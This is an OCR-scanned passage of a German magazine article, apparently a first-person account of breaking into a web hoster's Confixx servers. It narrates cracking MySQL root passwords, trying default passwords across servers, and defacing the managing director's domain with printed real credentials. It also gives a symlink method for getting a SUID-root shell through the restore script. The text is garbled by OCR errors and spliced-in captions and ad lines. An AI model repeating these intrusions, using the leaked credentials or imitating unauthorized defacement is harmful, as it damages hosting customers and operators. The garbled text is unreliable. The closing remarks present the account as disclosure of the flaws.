hier sehr gelegen. Eigentlich miisste je-
der Admin wissen, dass er auf jeden Fall
»/home« in eine eigene Partition legen
muss, sinnvollerweise auch »/var« und
»/tmp«. Das wdre auch fiir die Robust-
heit der Server vorteilhaft: Sollten die

chmod / Dateirechte

FTP (WS FTP)

FTP gram

eines FTP-Servers

SCMR
Beispiel (WS_FTF LE)

Datenbank

Das Betriebssystem Unix mit seinem schnell wachsenden Bruder Linux ist multiuser-fahig
Das heift, dass mehrere Benutzer gleichzeitig Anwendungen ausfithren dirfen. Aus
Griinden der Sicherheit muss das System daher natiirlich auch mMiglichkeiten bieten,
Dateien var dem Zugriff anderer zu schitzen. Dies wird durch die Zugrifisrechie
bewsrkstelligh. Dabei wird fir jede Datei gespeichert, wer darauf zugreifen darf und
welche Rechie er bekommt. Die Zugrifisrechte werden fiir drei verschiedene
Mutzergruppen getrennt vergeben:

Eigentiimer {User/Owner) - ist der Nutzer, der die Datei erstellt hat. Nur dieser Benutzer
kann die Zugriffsrechte Andern.

Gruppe (Group) - ist die Gruppe, dem der Benutzer zugeardnet ist. Man kann so Dateien
einer hestimmten Gruppe von Persanen zuganglich machen

Alle anderen {Others/&ll) - damit sind alle anderen Mutzer gemeint. Oft spricht man auch
van "der ganzen Welt", hezogen auf das Intermet. Denn nur die Dateien, die fir "aLL"
freigegeben sind, kann man auch Ober das Internet aufrufen. Ein Zugriff Oher das Internet
wird wie ein einfacher Mutzer ohne Rechte behandelt Ahnlich einem anonymen Mutzer

Am hesten setzten sie fir jede Datei Zugrifsrechte fir jedermann. Das machen die
Administratoren auch mit ihren Dateien, und diesem Beispiel sollten sie folgen

Michts ist schlimmer als zu restriktiv vergebene Rechte, auch wenn es um Backups,
SGL-Dumps oder dhnliches geht. Wen kimmert 85 schon, wenn eine fir eine Datei zu
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Abbildung 5: Wer seine Server nicht vor Angriffen schiitzt, darf sich iiber kleine Spape seiner Kunden nicht

wundern. Der Abschnitt ab ,,Am besten setzen Sie fiir jede Datei ..." stammt nicht vom Hoster.
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Logfiles unerwartet anwachsen - etwa
durch einen DoS-Angriff - dann bliebe
das Problem auf die »/var«-Partition be-
grenzt. Da die Admins auch auf Quotas
verzichten, konnten sogar normale User
die Platte fiillen.

Die weiteren Server als
Herausforderung

Als Herausforderung bleiben die neun
Server, auf denen ich noch keinen Root-
Zugriff erlangen konnte. Mein nichstes
Ziel ist daher der MySQL-Root-Benutzer.
Der ist zwar nicht gleichbedeutend mit
dem Systemadministrator, hat aber auf
allen Datenbanken Admin-Rechte. Ins-
besondere ist damit die Confixx-Daten-
bank schreibbar. Von deren Kompromit-
tierung sind alle wesentlichen Aufgaben
der Server betroffen.

Die Passworter fiir den Datenbank-Ad-
min stehen in der Datei »confixx_main.
conf«. Auf diese hatte ich zwar die ganze
Zeit Zugriff. Dummerweise hatte ich die
im Klartext vor meiner Nase liegenden
Eintrage aber tibersehen.

Da die Backup-Server nicht erreichbar
sind und das ndchtliche Backup mit sei-
nen lesbaren Archiven nicht mehr l4uft,
muss ich auf das Confixx-Backup zu-
riickgreifen. Doch in diesem Punkt hat
der Hoster doch noch eine Reaktion ge-
zeigt: Einstellungen, die der Kunde iiber
das Webinterface vornimmt, legt Con-
fixx in der Datenbank ab, ein Cronjob ar-
beitet diese regelmafig ab. Genau diesen

Cronjob entfernten die Admins aus der
Crontab, davon sind auch die Backup-
und Restore-Requests betroffen.

Zum jetzigen Zeitpunkt habe ich nur
drei dieser Config-Dateien, aber ich
hatte ja vorsorglich auch die »mysql«-
Systemdatenbanken heruntergeladen. In
denen finden sich ebenfalls die MySQL-
Root-Passworter, allerdings verschliis-
selt. So muss ich erneut einen Passwort-
cracker bemiihen.

Ich entscheide mich fiir Mysqlfast [41],
das Programm macht seinem Namen
alle Ehre. Ein beliebiges acht Stellen lan-
ges Passwort knackt es in wenigen Stun-
den. Der MySQL-Verschliisselungsalgo-
rithmus wurde zwar mit Version 4.1 ver-
bessert, aber auf den Servern lauft noch
eine alte MySQL 3.

Schwache Passworter

Ich bemiihe wieder die CPUs aller Ser-
ver, wie iiblich mit »nice 19«. Zu meiner
Uberraschung sind einige der Passworter
extrem schwach, drei von ihnen haben
sogar nur fiinf oder sechs Zeichen.
Mysqlfast hat sie entsprechend in weni-
gen Sekunden ermittelt. Bei weiteren
fiinf Passwortern dauert es einige Minu-
ten, sie sind immerhin siebenstellig.
Hier hatte ich mehr Widerstand erwar-
tet, ein Root-Passwort darf nicht so
schwach gewdhlt werden.

Bis auf zwei Passworter ist keines ldnger
als acht Zeichen und daher knackbar.
Ich habe jetzt auf 27 Servern MySQL-
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Abbildung 6: Das bequeme PHP MyAdmin ist auf den Servern des Hosters installiert. Zusammen mit den

Jetzt schnell bestellen:

geknackten MySQL-Root-Passwdrtern ist das Manipulieren der Confixx-Datenbank leicht.




Root-Rechte. Mit PHP MyAdmin (Abbil-
dung 6) gibt es gleich noch ein prakti-
sches Webinterface dazu. Kaum zu glau-
ben, dass man sich von drauflen als
MySQL-Root anmelden darf und nicht
nur lokal.

Auflockerungsiibung

Als kleine Auflockerung fiir zwischen-
durch nehme ich mir nun die private Do-
main des Geschaftsfiihrers vor. Sein Be-
nutzername lautet »web637«, das Pass-
wort »web6370«. Nach einer Manipula-
tion beantwortete der Server jede An-
frage mit einer HTML-Seite, die nur den
Satz ,Diese Domain wurde deaktiviert*
zeigt. Inzwischen steht dort zwar wieder
der Originaltext, das Passwort blieb aber
unverdndert.

Bisher hatte ich beim Ausnutzen der
Root-Rechte des Restore-Skripts lediglich
versucht, Dateien zu iiberschreiben oder
den Owner zu dndern. Eine Diskussion
in einer Sicherheits-Mailingliste zeigt
mir eine dritte Moglichkeit: Tar kann
auch eine mit SUID versehene Bash ent-
packen. Allerdings lduft danach das
Chown-Kommando, das die Root-Rechte
wieder entfernt. Ich muss also die Race
Condition gewinnen. Mit einem grofien,
zeitaufwdndig zu entpackenden Archiv
sollte mir das nicht schwer fallen.

Ich mochte diese Idee testen, und zwar
an einem Server, den ich bislang noch
nicht beachtet habe. Bis jetzt hatte ich
mich auf die 29 Server konzentriert, auf
denen am Anfang mindestens ein Benut-
zer mit einem Standardpasswort zu er-
mitteln war. Bei den restlichen 21 Ser-
vern teste ich die Passworter »123456«
und »system«. Auf sechs Servern habe
ich tatsdchlich Erfolg, kann also auch
hier zuschlagen.

Das ndchste Opfer wird Server 53. Hier
habe ich nur einen Benutzer ermittelt,
aber der geniigt. Zundchst hole ich tiber
Confixx ein Backup von »/root«, das ist
moglich, da hier der Confixx-Cronjob
noch l4uft. Und dann entdecke ich erst-
mals etwas Erfreuliches: Das Passwort
fiir MySQL-Root lautet »ebOjWanebOj-
WanMYSQLPASSWORT«. So sollte ein si-
cheres Passwort aussehen, hieran diirfte
jeder Passwortcracker scheitern. Fehlt
nur noch Unix-Root, hier entscheide ich
mich fiir die Variante SUID-Bash.

Ich habe eine weitere Idee, wie ich die
Race Condition zwischen Tar und
Chown einfach umgehen kann. Meine
Verzeichnisstruktur sieht folgenderma-
flen aus:

~/files -> /tmp/target
/tmp/target

/tmp/restore
/tmp/restore/files.tar.gz

Ich fordere ein Restore fiir » ~ /files« an.
Als Erstes lauft »cd ~ /files; tar xzf
../restore/files.tar.gz«. Wegen des Sym-
links wird »/tmp/target« zum Arbeits-
verzeichnis, Tar entpackt daher »/tmp/
restore/files.tar.gz« inklusive SUID-Root-
Bash. AnschlieRend lduft »chown -R
$user ~ /files«, das aber nur den Owner
des Links setzt, nicht den des Zielver-
zeichnisses. Die Shell gehort also weiter-
hin Root und behdlt ihr SUID-Bit.

Fazit

Kleine und grofle Programmier- und Ad-
ministrationsfehler sind meist einfacher
auszunutzen, als mancher Admin denkt.
Wenn dann beides zusammenkommt,
hat es ein neugieriger User leicht. Uber
Benutzer, die ihre Entdeckungen mel-
den, damit Admins die Liicken schlie-
fen, sollte sich jeder Hoster freuen. Es
ware einfach, mit diesem Wissen belie-
bigen Schaden anzurichten. (fjl) |
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